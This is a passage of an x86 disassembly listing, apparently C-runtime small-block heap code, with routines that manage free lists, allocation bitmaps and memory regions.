		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		call	near ptr 2790000h
		nop
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 289065Bh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		call	near ptr 2790000h
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 289065Bh
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
